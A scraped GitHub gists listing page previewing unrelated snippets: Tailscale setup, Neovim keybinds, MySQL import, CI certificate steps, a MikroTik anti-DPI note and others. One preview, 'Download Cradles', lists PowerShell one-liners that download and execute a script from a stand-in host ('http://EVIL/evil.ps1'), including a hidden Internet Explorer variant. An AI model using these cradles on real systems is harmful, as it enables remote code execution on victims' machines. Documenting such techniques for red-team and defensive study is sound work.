Skip to content

Instantly share code, notes, and snippets.

@bittner
bittner / keyboard-keys.md
Created February 28, 2019 22:50
Keyboard keys markup in MarkDown

Ctrl + Alt + Space

@lilac
lilac / A ReadMe.md
Last active December 30, 2024 20:13
Run tailscale on WDMyCloud

Install Tailscale

  1. Install go if it's not there.
  2. Install tailscale commands.
    go install tailscale.com/cmd/[email protected]
    go install tailscale.com/cmd/[email protected]
    

Install service

Since this linux is an old version, it still use sysv scripts for service management. To run tailscaled as a daemon (service), follow the procedure below.

@kashifulhaque
kashifulhaque / NvChad.md
Last active December 30, 2024 20:13
Neovim stuff with NvChad

Neovim keybinds

  • Capital letters do the opposite of small letters in command (Press shift to trigger capital letters)
  • _ (underscore) to move the cursor at the beginning of line (doesn't switch to insert mode)
    • 0 (zero) moves the cursor to the zeroth position of the line (doesn't switch to insert mode)
  • $ (dollar) to move the cursor at the end of line (doesn't switch to insert mode)
  • d$ will delete from wherever your cursor is till the end of the line
  • f<character> to move cursor to the first occurrence of <character>
    • f( to move cursor to first occurence of (
  • t<character> to move cursor to upto but not on the first occurrence of <character>
  • t( to move cursor to first occurence of (
@wardbekker
wardbekker / gist:964146
Created May 10, 2011 09:16
Naive parallel import of Compressed MYSQL dump file
# Split MYSQL dump file
zcat dump.sql.gz | awk '/DROP TABLE IF EXISTS/{n++}{print >"out" n ".sql" }'
# Parallel import using GNU Parallel http://www.gnu.org/software/parallel/
ls -rS *.sql | parallel --joblog joblog.txt mysql -uXXX -pYYY db_name "<"
@gustavohenrique
gustavohenrique / txt2pdf.py
Last active December 30, 2024 20:09
Convert a txt file to pdf
#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
Installing dependencies:
pip install argparse
pip install reportlab
"""
@wkentaro
wkentaro / ci.yml
Created December 28, 2024 03:06
GitHub action Apple Certificate
- name: Set up certificates
env:
CERTIFICATES_P12: ${{ secrets.CERTIFICATES_P12 }}
CERTIFICATES_P12_PASSWORD: ${{ secrets.CERTIFICATES_P12_PASSWORD }}
run: |
echo $CERTIFICATES_P12 | base64 --decode > certificate.p12
security create-keychain -p password101 build.keychain
security default-keychain -s build.keychain
security unlock-keychain -p password101 build.keychain
security import certificate.p12 -k build.keychain -P $CERTIFICATES_P12_PASSWORD -T /usr/bin/codesign -T /usr/bin/security
@wiktorbgu
wiktorbgu / Mikrotik WireGuard anti DPI.md
Created October 22, 2024 15:24
Mikrotik WireGuard anti DPI

Чуть подправил скрипт , чтобы лишний раз не бегал по клиентским пирам, которые подключаются к этому роутеру, а только где роутер как клиент.
Работает убойно! Proton и Warp пробивает)

Upd.: увеличил время в фильтре до 2м30с как защита от ложных срабатываний у медленных подключений.
Считаю выполнение скрипта раз в 2 минуты средним нормальным значением.
Так же добавил в скрипт закомментированную строку с возможность исключения какого-либо wg интерфейса из проверки.

Update for ROS >= 7.17: у пиров изменили свойство is-responder на responder! добавил закоментированную строку в скрипт.
Если при выполнении скрипта на этапе генерации трафика выходит ошибка в лог, то:

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active December 30, 2024 20:05
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@LostKobrakai
LostKobrakai / form_live.ex
Last active December 30, 2024 20:03
Phoenix LiveView form with nested embeds and add/delete buttons
defmodule NestedWeb.FormLive do
use NestedWeb, :live_view
require Logger
defmodule Form do
use Ecto.Schema
import Ecto.Changeset
embedded_schema do
field :name, :string
@pie6k
pie6k / widget.js
Created January 3, 2023 23:37
Scriptable widget showing app revenue
// Copy this code and paste it into Scriptable code editor on your phone
async function loadStats() {
const request = new Request("https://your-endpoint-giving-you-revenue-data.com");
const { todayUSD, todayOrders, revenue30USD, orders30 } = await request.loadJSON();
return { todayUSD, todayOrders, revenue30USD, orders30 };
}
const usdFormatter = new Intl.NumberFormat("en-US", { style: "currency", currency: "USD" });